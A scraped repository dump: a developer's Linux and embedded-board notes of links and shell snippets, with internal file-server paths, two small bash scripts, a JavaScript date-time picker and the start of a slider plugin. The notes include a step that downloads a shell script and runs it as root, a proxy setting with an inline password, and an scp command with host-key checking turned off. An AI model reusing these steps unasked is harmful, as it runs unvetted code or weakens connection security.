environment. The following redirection operators may precede or appear anywhere within a simple command
or may follow a command. Redirections are processed in the order they appear, from left to right.
Redirecting Output
Redirection of output causes the file whose name results from the expansion of word to be opened for
writing on file descriptor n, or the standard output (file descriptor 1) if n is not specified. If the
file does not exist it is created; if it does exist it is truncated to zero size.
The general format for redirecting output is:
[n]>word
If the redirection operator is >, and the noclobber option to the set builtin has been enabled, the
redirection will fail if the file whose name results from the expansion of word exists and is a regular
file. If the redirection operator is >|, or the redirection operator is > and the noclobber option to
the set builtin command is not enabled, the redirection is attempted even if the file named by word
exists.
以上、よろしくお願いします。
annihilate verb [ T ]
uk /əˈnaɪ.ə.leɪt/ us /əˈnaɪ.ə.leɪt/
to destroy something completely so that nothing is left:
a city annihilated by an atomic bomb
www.3dcenter.org/news/reihenweise-pascal-und-volta-codenamen-aufgetaucht-gp100-gp102-gp104-gp106-gp107-gp10b-gv100 http://rnext.it/review/nvidia-jetson-tx2/
|上期<br>(かみき)|Kami ki|Th
|下期<br>(しもき)|Shimo ki|T
|改善<br>(かいぜん)|Kai zen|C
|確認<br>(かくにん)|Kaku nin|
|調査<br>(ちょうさ)|Cho-sa|Inv
|対策<br>(たいさく)|Tai saku|C
|しょうがない<br>|Sho-ga nai|I
* Knowledge
Ubuntu([ʊˈbʊntuː]; oo-BOO
Ubuntu(うぶんつ、うーぶんとぅ)は南
https://developer.nvidia.com/embedded/linux-tegra-r281
https://developer.nvidia.com/embedded/linux-tegra-271
https://www.phoronix.com/scan.php?page=news_item&px=Tegra-X2-Nouveau-Support
https://www.phoronix.com/scan.php?page=article&item=jetson-tegra-x2&num=1
https://developer.nvidia.com/embedded/linux-tegra
We become more understanding about our platform via acquiring the performance indices on each SoC
and start making estimation (prediction) for new SoC.
It meant that we become more controlling on the platform performance in order to consider advanced (early) improvement or feedback to all other teams.
https://plumbr.io/blog/memory-leaks/out-of-memory-kill-process-or-sacrifice-child
Let's keep up the good trends and give more contribution to R-Car Gen3 Platform!
learn how the test environment is described,
how to organize the summary in the table and how to give the judgement about result
compute-intensive workload
System-level software development
benchmark testsuites
https://github.com/ThreeNG/hacker-scripts
https://www.learnenough.com/command-line-tutorial
https://en.wikipedia.org/wiki/Seven_Lucky_Gods
furikae kyūjitsu 振替休日
http://www.linuxtopia.org/online_books/linux_kernel/kernel_configuration/ch05s04.html
http://www.linuxtopia.org
http://course.inf.ed.ac.uk/
https://www.cnx-software.com/how-tos-training-materials/embedded-linux-development/
https://www.renesas.com/en-eu/about/web-magazine/edge/solution/18-hmi-graphical-interfaces.html
https://lwn.net/Articles/552852/
https://www.inf.ed.ac.uk/teaching/courses/es/
http://course.inf.ed.ac.uk/
https://archive.org/details/ProgrammingThrowdown
https://git.bootlin.com/training-materials/tree/labs/yocto-first-build?id=b7311908e01c78dc37262ebb87ddb1ca8f397ac3
https://en.wikipedia.org/wiki/List_of_ARM_microarchitectures
http://www.cotse.com/viqr.htm
https://gist.github.com/t-mart/610795fcf7998559ea80
https://www.thegeekstuff.com/2011/07/bash-for-loop-examples/?utm_source=feedburner
All are waiting for you at the Year End Party:
On Saturday, Feb. 03, 2018 from 18:00
At Conference Center The Adora Premium Wedding - 803 Nguyễn Văn Linh, Tân Phú, Thành phố Hồ Chí Minh, Hồ Chí Minh
Just do :help netrw-quickmap.
https://www.cs.oberlin.edu/~kuperman/help/vim/windows.html
http://www.yolinux.com/TUTORIALS/LinuxTutorialAdvanced_vi.html
https://github.com/ThreeNG/vim-galore
http://www.viemu.com/a-why-vi-vim.html
http://thomer.com/vi/vi.html
https://www.names.org/n/jelyn/about#pronunciation
http://linuxcommand.org/lc3_resources.php
http://linuxcommand.org/lc3_wss0080.php
http://linuxcommand.org/lc3_lts0080.php
https://archive.org/details/huck_finn_librivox
C-a : go to the starting of the current line.
C-e : go to the end of the current line.
At thegeekstuff, we love Vim editor. We’ve written lot of articles on Vim editor. If you are new to the Vim editor, refer to our Vim editor navigation fundamentals article.
2. Emacs Screen Navigation
Following three navigation can be done in relation to text shown in the screen.
C-v : Jump forward one full screen.
M-v : Jump backwards one full screen. ( If you dont have Meta key, use ESC key )
C-l : Make the current line as center line of window.
You can also use Page Up, Page Down for screen navigation.
3. Emacs Special Navigation
Following are couple of special navigation that are used to go to the start or end of buffer.
M-< : Go to the start of file
M-> : Go to the end of file
4. Emacs Word Navigation
Following are two word navigation keys.
M-f : navigate a word forward.
M-b : navigate a word backward.
5. Emacs Paragraph Navigation
M-a : Go to the beginning of the current paragraph. By pressing M-a again and again move to the previous paragraph beginnings.
M-e : Go to the end of the current paragraph. By pressing M-e again and again move to the next paragraph end, and again.
http://linuxcommand.org/lc3_wss0030.php
toyosu-ku
hagisama station
tar tzvf name_of_file.tar.gz | less
echo "$(cal)"
g is a function
g ()
{
check_help $1;
source $SDIRS;
target="$(eval $(echo echo $(echo \$DIR_$1)))";
if [ -d "$target" ]; then
cd "$target";
else
if [ ! -n "$target" ]; then
echo -e "\033[${RED}WARNING: '${1}' bashmark does not exist\033[00m";
else
echo -e "\033[${RED}WARNING: '${target}' does not exist\033[00m";
fi;
fi
}
nghianguyen@rvc-ubt-05:~/computer/computer/bashmarks$ echo $SDIRS
/home/u/nghianguyen/.sdirs
nghianguyen@rvc-ubt-05:~/computer/computer/bashmarks$ more $SDIRS
export DIR_teamwork="/shsv/DTV/Prj_QAS/04_Work/01_Prj_Benchmark/03_User"
export DIR_yoctodir="/shsv/SS2/RSS1/25_nghianguyen/YoctoPrj"
export DIR_document="/shsv/RCarSW/Documents"
export DIR_media="/shsv/RCarSW/Multimedia_data"
export DIR_sdk="/shsv/RCarSW/rvc_git_repo/yocto/_YOCTO_IMAGES_"
export DIR_testdata="/shsv/RCarSW/Multimedia_data/SystemVerificationMM_App/_ST_TestData"
export DIR_work="/shsv/DTV/Prj_QAS/04_Work/01_Prj_Benchmark/03_User/25_nghianguyen/18-1Q"
nghianguyen@rvc-ubt-05:~/computer/computer/bashmarks$
http://tldp.org/LDP/abs/html/part1.html
http://www.manythings.org/wbg/9101s.html
http://bash.im/
https://embedjournal.com/how-to-use-gmail-form-terminal-linux/
sudo easy_install twilio
sudo apt-get install python-pip
sudo pip install twilio
apt-get install libffi-dev libssl-dev
usermod --login newname oldname
http://www.network-theory.co.uk/docs/gccintro/gccintro_59.html
usermod --login newname oldname
https://github.com/ThreeNG/vim-galore/blob/master/README.md#cheatsheets
for dirname in $(find $BuildDir_ES3/MDKPackage/Source/Demos -name "Build*" -type d )
https://serverfault.com/questions/437342/how-can-i-rename-an-unix-user
https://a4z.bitbucket.io/docs/BitBake/guide.html
hello
http://www.manythings.org/japanese/reading/con/1.html
http://www.manythings.org/audio/jpn/10/
https://github.com/ThreeNG/linuxfoundation.org.git
http://www.network-theory.co.uk/docs/gccintro/
https://brightside.me/wonder-animals/13-photos-which-prove-that-cats-and-dogs-are-from-different-worlds-183155/?utm_source=fb_brightside&utm_medium=fb_organic&utm_campaign=fb_gr_brightside
https://github.com/0xAX/linux-insides/blob/master/Booting/README.md
export https_proxy="http://user_name:Pass_windown_log_in@172.29.137.2:8080"
Doccument
https://archive.org/details/stackexchange
https://chartio.com/resources/tutorials/how-to-get-values-from-another-sheet-in-excel-using-vba/
http://www.vbtutor.net/lesson16.html
https://github.com/agherzan/meta-raspberrypi
https://doc.lagout.org/operating%20system%20/linux/Beginning%20Linux%20Programming%2C%204%20Ed.pdf
https://www.behindthename.com/names/usage/vietnamese
http://hyperpolyglot.org/
https://books.google.co.jp/books?id=vvuzDziOMeMC&lpg=PT487&ots=wamA4hqfQR&dq=built-in%20rules%20%20%24(CFLAGS)&pg=PT27#v=onepage&q&f=false
export out_dir=`date | sed 's/ //g'`
mkdir -p /tftpboot/Gfx_result/"${IPADDR}_${out_dir}"
sshpass -e scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null ${LOGIN}@${IPADDR}:/home/root/3D_2D_env/*/Result/*.csv /tftpboot/Gfx_result/"${IPADDR}_${out_dir}"
https://wordpronounce.com/
set-option -g history-limit 50000
https://www.qualcomm.com/news/onq/2017/12/06/snapdragon-845-innovative-and-intelligent-mobility-experiences-start-here
http://vulkan.gpuinfo.org/
http://vulkan.gpuinfo.org/displayreport.php?id=1999#device
http://vulkan.gpuinfo.org/displayreport.php?id=1575
https://docs.particle.io/guide/getting-started/start/raspberry-pi/
https://cayenne.mydevices.com/cayenne/dashboard/first-visit/raspberrypi/step-3
https://github.com/renesas-rcar/u-boot
Terminal / SSH
To download and install myDevices Cayenne on your Pi, use the Terminal on your Pi or SSH. Run the following commands:
wget https://cayenne.mydevices.com/dl/rpi_3qn7jol6wd.sh
sudo bash rpi_3qn7jol6wd.sh -v
https://cayenne.mydevices.com/cayenne/dashboard/first-visit/raspberrypi/step-3
https://www.raspberrypi.org/documentation/hardware/raspberrypi/README.md
http://www.manythings.org/voa/people/Philo_Farnsworth.html
https://archive.org/stream/yourlifepopularg21lurtrich
https://dri.freedesktop.org/wiki/DRM/
http://977todayshits.radio.net/
https://www.indiabix.com/computer-science/unix/
https://www.indiabix.com/
https://www.collabora.com/news-and-blog/blog/2016/06/03/running-weston-on-a-raspbian/
https://tiki.vn/1212?utm_source=appboy&utm_medium=noti-web&utm_campaign=NO_ABW_EV@-12-12-@UM171202&utm_content=121217
https://archive.org/details/computer-programming
http://www.tldp.org/
https://www.linuxquestions.org/
www.google.com/linux
http://www.alphalinux.org/wiki/index.php/Main_Page
www.linux-mips.org
http://tldp.org/LDP/Mobile-Guide/html/index.html
www.mklinux.org
https://slashdot.org/
http://www.posix.com/posix.html
www.linuxhq.com
https://slashdot.org/
http://www.songho.ca/opengl/index.html
http://dilbert.com/search_results?terms=open+plan+office
http://www.tldp.org/LDP/intro-linux/intro-linux.pdf
http://dev.lab427.net/
https://gist.github.com/u0d7i
npm install gtop -g
https://www.tutorialspoint.com/perl/perl_tutorial.pdf
tmux attach-session -t 0
http://linuxcommand.org/lc3_adv_termmux.php
https://www.khronos.org/opengl/wiki/Performance
http://www.videotutorialsrock.com/index.php
63/62 Luu Trong Lu, Tan Thuan Dong, District 7
sudo systemctl daemon-reload
sudo systemctl enable sample.service
http://mirrordirector.raspbian.org/raspbian/pool/main/f/ffmpeg/libavutil55_3.2.5-1_armhf.deb
http://mirrordirector.raspbian.org/raspbian/pool/main/o/openjpeg2/libopenjp2-7_2.1.2-1.1_armhf.deb
http://mirrordirector.raspbian.org/raspbian/pool/main/f/ffmpeg/libswresample2_3.2.5-1_armhf.deb
http://mirrordirector.raspbian.org/raspbian/pool/main/f/ffmpeg/libavcodec57_3.2.5-1_armhf.deb
http://mirrordirector.raspbian.org/raspbian/pool/main/f/ffmpeg/libavformat57_3.2.5-1_armhf.deb
http://free-electrons.com/docs/
for file in *.tar.bz2; do tar -jxf $file; done
https://askubuntu.com/questions/56083/how-to-set-up-ssh-connection-acessible-over-internet-not-lan-using-mts-mblaze
https://www.sdcard.org/developers/overview/speed_class/index.html
https://www.scribd.com/document/356602915/Nh%E1%BA%A1p-Mon-Lap-Trinh-Khong-Code-Toidicodedao
ssh-keygen -f "~/.ssh/known_hosts" -R pi@192.168.1.65
cat ~/.ssh/id_rsa.pub |ssh pi@192.168.1.65 ‘cat >> ~/.ssh/authorized_keys’
https://www.robots.ox.ac.uk/~dwm/Courses/index.html
https://www.youtube.com/c/Nh%E1%BB%87nB%C6%A1iNg%E1%BB%ADa
https://www.youtube.com/c/NhệnBơiNgửa
https://s-hub.vn/ho-chi-minh/dat-cho/tham-gia-su-kien
<file_sep>#!/bin/bash
s=$1
path=${s//\\//}
cd "`echo $path | sed 's/rvc-nas-06/home/g' | sed 's/rvc-nas-05/shsv/g' | sed 's/rvc-nas-08/shsv/g' `"
pwd
<file_sep>#!/bin/bash
# Color for print screen
COLOR_RED='\033[0;31m' # red color
COLOR_BLUE='\033[0;34m' # blue color
COLOR_GREEN='\033[0;32m' # green color
COLOR_YELLOW='\033[1;33m' # yellow color
COLOR_CYAN='\033[46m' # cyan color
COLOR_NO='\033[0m' # No Color
while :
do
for i in $COLOR_RED $COLOR_BLUE $COLOR_GREEN $COLOR_YELLOW $COLOR_NO
do
ti=` date +%r`
echo -e -n "\033[7s"
tput cup 0 69
echo -n -e "$i $ti $CORLOR_NO"
echo -e -n "\033[8u"
sleep 1
done
done
| ee7381a5dbe7a1b01ebd7f8614f0165275760c37 | [
"Markdown",
"Shell"
] | 6 | Shell | ThreeNG/linuxfoundation.org | e6808a29c2ce82668b5f30a79298188b133cbf34 | 85a2b6186ac83bb7f7c3717f267e60cf9a84876e |
refs/heads/master | <repo_name>wzl821202210/DateTimePicker<file_sep>/backup/datetime.js
/**
* Created by xty on 2016/8/4.
*/
var dateTimeComponentCount = 0;
function getDateTimeComponentCount() {
return dateTimeComponentCount++;
}
function validateSupportType(typeArr, type) {
var support = false;
typeArr.forEach(function (internalType) {
if (internalType === type) {
support = true;
}
});
return support;
}
function getSelectedValueIndex(t, value) {
var selectedValue = 0;
var valueString = value ? value.toString() : "";
t.forEach(function (value, index) {
if (valueString == value.toString()) {
selectedValue = index;
}
});
return selectedValue;
}
function fillArr(start, count) {
var arr = [];
for (var index = start; count >= index; index++) {
arr.push(index);
}
return arr;
}
function getTop(position) {
return 0 - 40 * position;
}
function createDomElement(html) {
var element = document.createElement("div");
element.innerHTML = html;
return element.firstChild ? element.firstChild : !1
}
/**
* 将时间转换为指定的json格式.
* @param t 时间<code>date</code>对象
* @returns {{h: *, i: *, s: *}}
* <pre>
* {
h: hour for date,
i: minute for date,
s: second for date
}
* </pre>
*/
function getDisplayedTime(t) {
var date = t;
return {
h: DateUtils._h(date),
i: DateUtils._i(date),
s: DateUtils._s(date)
};
}
function DateTime(ele, options) {
this.domHook = ele;
this.opts = options || DateTime.defaultOpts;
}
DateTime.prototype = {
constructor: DateTime,
/**
*
*/
itemList: [],
/**
*
*/
presetType: ["time", "date", "datetime", "diy"],
/**
*
*/
dateLabels: {
y: "年",
m: "月",
d: "日",
h: "时",
i: "分",
s: "秒"
},
/**
*
*/
weekLabels: ["日", "一", "二", "三", "四", "五", "六"],
/**
*
*/
isSupport: false,
/**
*
*/
_init: function () {
var _this = this;
_this.guid = getDateTimeComponentCount();
_this.height = _this.opts.height || "200";
_this.isSupport = validateSupportType(_this.presetType, _this.opts.type);
if (!_this.isSupport) {
console.error("unSupport type!");
return;
}
_this._initConfigByType();
_this._renderHtml();
},
_initConfigByType: function () {
var _this = this;
var type = _this.opts.type;
console.log("init type-->", _this.opts.type);
switch (type) {
case"date":
_this._initDateConfig();
break;
case"time":
_this._initTimeConfig();
break;
case"diy":
_this._initDiyConfig();
break;
case "datetime":
_this._initDateTimeConfig();
break;
}
},
_initDateTimeConfig: function () {
var _this = this;
var config = _this.opts;
var minYear = config.minDate.getFullYear();
var maxYear = config.maxDate.getFullYear();
var date = _this.isDate(config.date) ? config.date : _this.currentDate;
var displayConfig = {
y: DateUtils._y(date),
m: DateUtils._m(date),
rm: DateUtils._rm(date),
d: DateUtils._d(date),
h: DateUtils._h(date),
i: DateUtils._i(date),
s: DateUtils._s(date)
};
_this.itemList = ["y", "m", "d", "h", "i"];
_this.monthDay = 32 - new Date(displayConfig.y, displayConfig.m, 32).getDate();
_this.y = {
top: getTop(displayConfig.y - minYear),
value: displayConfig.y,
ov: displayConfig.y,
st: minYear,
et: maxYear,
list: [],
map: fillArr(minYear, maxYear)
};
_this.m = {
top: getTop(displayConfig.rm - 1),
value: displayConfig.m,
ov: displayConfig.m,
rv: displayConfig.rm,
orv: displayConfig.rm,
st: 1,
et: 12,
list: [],
map: fillArr(1, 12)
};
_this.d = {
top: getTop(displayConfig.d - 1),
value: displayConfig.d,
ov: displayConfig.d,
st: 1,
et: 31,
list: [],
map: fillArr(1, 31)
};
_this.itemList.forEach(function (item) {
var disPlayedArr;
if ("h" == item) {
disPlayedArr = fillArr(0, 23);
} else if ("i" == item || "s" == item) {
disPlayedArr = fillArr(0, 59);
} else {
return;
}
_this[item] = {
top: getTop(displayConfig[item] - 0),
value: displayConfig[item],
index: getSelectedValueIndex(disPlayedArr, displayConfig[item]),
list: [],
map: disPlayedArr
};
});
},
_initDateConfig: function () {
var _this = this;
var config = _this.opts;
var minYear = config.minDate.getFullYear();
var maxYear = config.maxDate.getFullYear();
var date = _this.isDate(config.date) ? config.date : _this.currentDate;
var displayConfig = {
y: DateUtils._y(date),
m: DateUtils._m(date),
rm: DateUtils._rm(date),
d: DateUtils._d(date),
h: DateUtils._h(date),
i: DateUtils._i(date),
s: DateUtils._s(date)
};
_this.itemList = ["y", "m", "d"];
_this.monthDay = 32 - new Date(displayConfig.y, displayConfig.m, 32).getDate();
_this.y = {
top: getTop(displayConfig.y - minYear),
value: displayConfig.y,
ov: displayConfig.y,
st: minYear,
et: maxYear,
list: [],
map: fillArr(minYear, maxYear)
};
_this.m = {
top: getTop(displayConfig.rm - 1),
value: displayConfig.m,
ov: displayConfig.m,
rv: displayConfig.rm,
orv: displayConfig.rm,
st: 1,
et: 12,
list: [],
map: fillArr(1, 12)
};
_this.d = {
top: getTop(displayConfig.d - 1),
value: displayConfig.d,
ov: displayConfig.d,
st: 1,
et: 31,
list: [],
map: fillArr(1, 31)
};
},
_initTimeConfig: function () {
var _this = this;
var timeConfig = getDisplayedTime(_this.opts.date);
if (timeConfig.hasSecond) {
_this.itemList = ["h", "i", "s"];
} else {
_this.itemList = ["h", "i"];
}
_this.itemList.forEach(function (item) {
var disPlayedArr;
if ("h" == item) {
disPlayedArr = fillArr(0, 23);
} else if ("i" == item || "s" == item) {
disPlayedArr = fillArr(0, 59);
}
_this[item] = {
top: getTop(timeConfig[item] - 0),
value: timeConfig[item],
index: getSelectedValueIndex(disPlayedArr, timeConfig[item]),
list: [],
map: disPlayedArr
};
});
},
_initDiyConfig: function () {
var _this = this;
var config = _this.opts;
if (config.data.length) {
var data = config.data;
_this.itemList.length = 0;
data.forEach(function (item) {
_this[item.key] = {
key: item.key,
value: item.value,
index: 0,
oIndex: 0,
et: item.resource.length - 1,
ul: "",
list: [],
map: item.resource
};
var index = getSelectedValueIndex(item.resource, item.value);
_this[item.key].index = index;
_this[item.key].top = getTop(index);
_this.dateLabels[item.key] = item.unit;
_this.itemList.push(item.key);
});
}
},
createListItem: function (config, value, key, list) {
var _this = this;
var map = config.map;
var index = getSelectedValueIndex(config.map, value);
var length = map.length;
list.innerHTML = "";
var html = "";
var unit = _this.dateLabels[key];
for (var count = 0; 2 > count; count++) {
list.appendChild(createDomElement("<li></li>"));
}
_this[key].list.length = 0;
for (count = 0; count < length; count++) {
if (index === count) {
html = '<li class="selected">' + map[count] + " " + unit + "</li>";
} else {
html = "<li>" + map[count] + " " + unit + "</li>";
}
var item = createDomElement(html);
_this[key].list.push(item);
list.appendChild(item);
}
_this[key].lihook = createDomElement("<li></li>");
list.appendChild(_this[key].lihook);
list.appendChild(createDomElement("<li></li>"));
return list;
},
_renderHtml: function () {
var _this = this;
var wrap = createDomElement('<div class="ui-datetime-wrap" style="height: ' + _this.height + 'px;"></div>');
//_this.adw = wrap;
var top = (_this.height / 40 - 1) / 2 * 40;
var line = createDomElement('<div class="ui-datetime-line" style="top: ' + top + 'px;"></div>');
wrap.appendChild(line);
var screenWidth = window.screen.width;
var itemWidth = screenWidth / _this.itemList.length;
if (itemWidth < (80 + 80 * 0.3)) {
itemWidth = itemWidth - itemWidth * 0.3;
} else {
itemWidth = 80;
}
var createDateItem = function (config, value, key) {
var itemHtml = createDomElement('<div id="ui-datetime-' + _this.guid + "-ad-" + key + '" class="ui-datetime-item" style="height:' + _this.height + 'px"></div>');
var ul = createDomElement('<ul style="width: ' + itemWidth + 'px" class="xs-content"></ul>');
_this.createListItem(config, value, key, ul);
config.ul = ul;
itemHtml.appendChild(ul);
return itemHtml;
};
_this.itemList.forEach(function (key) {
var itemValue = _this[key];
var itemHtml;
if ("m" == key) {
itemHtml = createDateItem(itemValue, itemValue.rv, key);
} else {
itemHtml = createDateItem(itemValue, itemValue.value, key);
}
wrap.appendChild(itemHtml);
});
_this.domHook.innerHTML = "";
_this.domHook.appendChild(wrap);
},
correctDayHTML: function (monthDay, e) {
var _this = this;
if (_this.m) {
if (e > monthDay) {
for (var index = monthDay; e > index; index++) {
_this.d.ul.insertBefore(_this.d.list[index], _this.d.lihook);
}
} else if (monthDay > e) {
for (var index2 = monthDay; index2 > e; index2--) {
_this.d.list[index2 - 1].remove();
}
}
_this.monthDay = e;
}
},
isDate: function (date) {
return !!("object" == typeof date && date instanceof Date)
},
_setTime: function (time) {
var _this = this;
if ("diy" != _this.opts.type) {
var n = 1;
if (time) {
if (_this.isDate(time)) {
n = 2;
} else if ("string" == typeof time) {
n = 3;
if ("date" == _this.opts.type) {
function o(time) {
time = time.split(" ");
var i = time[0].split("-");
var e = time[1].split(":");
return {
y: parseInt(i[0]),
m: parseInt(i[1]) - 1,
rm: parseInt(i[1]),
d: parseInt(i[2]),
h: parseInt(e[0]),
i: parseInt(e[1]),
s: parseInt(e[2])
}
}
var s = o(time);
} else {
function a(t) {
_this.currentDate = new Date;
try {
t = t.split(":");
var i = !!t[2], e = parseInt(t[0], 10), n = parseInt(t[1], 10), s = 0;
return i && (s = parseInt(t[2], 10), s = s >= 0 && 60 > s ? s : sec(S)), e = e >= 0 && 24 > e ? e : hour(S), n = n >= 0 && 60 > n ? n : minu(S), {
h: e,
i: n,
s: s,
hasSecond: i
}
} catch (o) {
return {
h: DateUtils._h(_this.currentDate),
i: DateUtils._i(_this.currentDate),
s: DateUtils._s(_this.currentDate),
hasSecond: false
}
}
}
var s = a(time);
}
}
} else {
var r = _this._syncTime();
n = 1;
}
_this.itemList.forEach(function (key) {
if (_this[key]) {
var item = _this[key];
item.ov = item.value;
if ("m" === key) {
item.orv = item.rv;
}
if (1 === n) {
item.value = r[key];
if ("m" === key) {
item.rv = r.m;
item.index = getSelectedValueIndex(item.map, item.rv);
item.top = getTop(item.index);
} else {
item.index = getSelectedValueIndex(item.map, item.value);
item.top = getTop(item.index);
}
} else if (2 === n) {
item.value = DateUtils["_" + key];
if ("m" == key) {
item.rv = DateUtils._rm(time);
item.index = getSelectedValueIndex(item.map, item.rv);
item.top = getTop(item.index);
} else {
item.index = getSelectedValueIndex(item.map, item.value);
item.top = getTop(item.index);
}
} else if (3 === n) {
item.value = s[key];
if ("m" == key) {
item.rv = s.rm;
item.index = getSelectedValueIndex(item.map, item.rv);
item.top = getTop(item.index);
} else {
item.index = getSelectedValueIndex(item.map, item.value);
item.top = getTop(item.index);
}
}
}
});
_this.syncStatus();
_this.syncScroll();
}
},
_syncTime: function () {
var _this = this;
var time = {};
_this.itemList.forEach(function (key) {
if (_this[key]) {
var top = _this[key].top;
var value = _this[key].map[Math.abs(top) / 40];
time[key] = value;
if ("m" === key) {
time.rm = getSelectedValueIndex(_this[key].map, value);
}
}
});
return time;
},
syncScroll: function () {
var _this = this;
var top = 0;
_this.itemList.forEach(function (key) {
if (_this[key]) {
var item = _this[key];
var _top;
if ("m" === key) {
_top = getTop(getSelectedValueIndex(item.map, item.rv));
} else {
_top = getTop(getSelectedValueIndex(item.map, item.value));
}
if ("d" === key) {
top = _top;
}
item.xscroll.scrollToIng = true;
item.xscroll.scrollTo(0, _top, 300, IScroll.utils.ease.circular);
}
});
if (_this.m) {
var selectedDate = new Date();
selectedDate.setYear(_this.y.value);
selectedDate.setMonth(_this.m.rv);
selectedDate.setDate(0);
var monthDays = selectedDate.getDate();
var day = _this.d;
if (_this.monthDay !== monthDays) {
_this.correctDayHTML(_this.monthDay, monthDays);
day.xscroll.refresh();
day.scrollToIng = true;
day.xscroll.scrollTo(0, top, 300, IScroll.utils.ease.circular);
} else {
day.scrollToIng = true;
day.xscroll.scrollTo(0, top, 300, IScroll.utils.ease.circular);
}
}
},
_changeValue: function (key) {
var _this = this;
if (!_this.m && !_this.h) {
_this.setData();
return;
}
_this._setTime();
if ("d" != key && _this.m) {
var selectedDate = new Date();
selectedDate.setYear(_this.y.value);
selectedDate.setMonth(_this.m.rv);
selectedDate.setDate(0);
var monthDays = selectedDate.getDate();
if (_this.monthDay !== monthDays) {
_this.correctDayHTML(_this.monthDay, monthDays);
}
_this.d.xscroll.refresh();
}
},
setData: function (time) {
var _this = this;
time || (time = _this._syncTime());
_this.itemList.forEach(function (item) {
if (_this[item] && 0 !== time[item]) {
var value = _this[item];
value.ov = _this[item].value;
value.value = time[item];
value.index = getSelectedValueIndex(_this[item].map, value.value);
value.oIndex = getSelectedValueIndex(_this[item].map, value.ov);
value.top = getTop(value.index)
}
});
_this.syncStatus();
_this.syncScroll();
},
getTime: function () {
var _this = this;
var time = {};
_this.itemList.forEach(function (key) {
if (_this[key]) {
time[key] = _this[key].value;
if ("m" === key) {
time.rm = _this[key].rv;
}
}
});
return time;
},
syncStatus: function () {
var _this = this;
_this.itemList.forEach(function (key) {
if (_this[key]) {
var item = _this[key];
var index, index2;
if ("m" === key) {
index = getSelectedValueIndex(item.map, item.orv);
index2 = getSelectedValueIndex(item.map, item.rv);
} else {
index = getSelectedValueIndex(item.map, item.ov);
index2 = getSelectedValueIndex(item.map, item.value);
}
if (index != index2) {
item.list[index].className = "";
item.list[index2].className = "selected";
}
}
});
},
bindEvent: function () {
var _this = this;
_this.itemList.forEach(function (key) {
if (_this[key]) {
var scroll = new IScroll("#ui-datetime-" + _this.guid + "-ad-" + key, {
bounceEasing: "ease",
bounceTime: 600
});
scroll.scrollToIng = true;
scroll.scrollTo(0, _this[key].top, 0, IScroll.utils.ease.circular);
scroll.on("scrollEnd", function () {
var y = this.y;
var offset = Math.round(y / 40);
if (_this[key].top != y) {
_this[key].top = 40 * offset;
_this._changeValue(key);
_this.syncStatus();
if (_this.opts.onChange) {
setTimeout(function () {
var time = _this.getTime();
_this.opts.onChange.call(_this, time);
}, 0)
}
}
});
_this[key].xscroll = scroll;
}
});
}
};
var DateUtils = {
_y: function (date) {
return date.getFullYear()
}, _m: function (date) {
return date.getMonth()
}, _rm: function (date) {
return date.getMonth() + 1
}, _d: function (date) {
return date.getDate()
}, _h: function (date) {
return date.getHours()
}, _i: function (date) {
return date.getMinutes()
}, _s: function (date) {
return date.getSeconds()
}
};
DateTime.defaultOpts = {
type: 'date',//date,time,diy
date: new Date(),
minDate: new Date(),
maxDate: new Date(),
gap: false,
demotion: false,
data: [{
key: 'day',
resource: ["上午", "下午"],
value: "上午",
unit: ''
}, {
key: 'hour',
resource: ["21", "22", "23", "01", "02", "03", "04", "05", "06", "07"],
value: "22",
unit: ''
}, {
key: 'minute',
resource: ["00", "30"],
value: "00",
unit: ''
}],
onChange: function (data) {
console.log("call back", data);
}
}; | d86fece92118fb848fad98c21b3a092a3c3364fa | [
"JavaScript"
] | 1 | JavaScript | wzl821202210/DateTimePicker | 9622720a0cae787da0402ed9b4411bd32b1da164 | 7eaf06feb3c40835259dc4bcd64159d032d9af3e |
refs/heads/master | <file_sep>(function(e, t, n) {
"use strict";
var r = t.Modernizr;
e.SKEWSlider = function(t, n) {
this.$el = e(n);
this._init(t)
};
e.SKEWSlider.defaults = {
speed: 1e3,
easing: "ease",
skew: -25,
width: "100%",
height: "100%",
slidePercent: 75,
centered: true,
preloadCount: 2,
moveFx: false,
delay: 0,
speedDifference: 150,
infiniteSlide: true,
navDots: true,
itemPadding: false,
moveOnHover: 4,
hoverSpeed: 600,
clickOnSiblings: true,
ratio: 40 / 11,
slideshow: 8e3,
breakpoints: false,
showCaption: true,
setCurrent: 0,
NextPrevDistance: 1,
itemsToslide: 1
};
e.SKEWSlider.prototype = {
_init: function(t) {
this.options = e.extend(true, {}, e.SKEWSlider.defaults, t);
this.optionsBackup = e.extend(true, {}, e.SKEWSlider.defaults, t);
this._config();
this.options.slideshow && this._slideShow()
},
_config: function() {
var t = this.options.skew,
n = this;
this.$el.addClass("skw-container");
this.$list = this.$el.children("ul").addClass("skw-list");
this.$items = this.$list.children("li");
this.HoverSiblings = true;
this.itemsCount = this.$items.length;
this.updateDelay = false;
this.breakpoint = false;
this.updateTimeout;
this.captionTimeout;
this.isHovering = false;
this.current = this.options.setCurrent;
this.$items.each(function() {
var n = e(this);
n.css("transform", "skew(" + t + "deg, 0)");
n.append('<div class="skw-loader" />')
});
this.support = r.csstransitions && r.csstransforms;
this.support3d = r.csstransforms3d;
var i = {
WebkitTransition: "webkitTransitionEnd",
MozTransition: "transitionend",
OTransition: "oTransitionEnd",
msTransition: "MSTransitionEnd",
transition: "transitionend"
},
s = {
WebkitTransform: "-webkit-transform",
MozTransform: "-moz-transform",
OTransform: "-o-transform",
msTransform: "-ms-transform",
transform: "transform"
};
if (this.support) {
this.transEndEventName = i[r.prefixed("transition")] + ".skewSlider";
this.transformName = s[r.prefixed("transform")]
}
if (this.support) {
this.$items.css("transition", this.transformName + " " + this.options.speed + "ms " + this.options.easing);
this.$list.css("transition", this.transformName + " " + this.options.speed + "ms " + this.options.easing)
}
this.$el.css({
overflow: "hidden",
position: "relative"
});
this.isAnimating = false;
this.isAnimatingInf = false;
if (this.itemsCount > 1) {
this.$navPrev = e('<span class="skw-prev"><</span>');
this.$navNext = e('<span class="skw-next">></span>');
!this.options.infiniteSlide && this.$navPrev.addClass("skw-trans");
var o = "";
for (var u = 0; u < this.itemsCount; ++u) {
var a = u === this.current ? '<span class="skw-current"></span>' : "<span></span>";
o += a
}
var f = e('<div class="skw-dots"/>').append(o),
l = e('<nav class="skw-nav" />').append(f).prepend(this.$navPrev).append(this.$navNext).appendTo(this.$el);
this.$navDots = l.find(".skw-dots span");
this.$mainNav = this.$el.children(".skw-nav");
this.$mainNav.css("marginLeft", -this.$mainNav.width() / 2)
}
this.$caption = e('<div class="skw-caption" />');
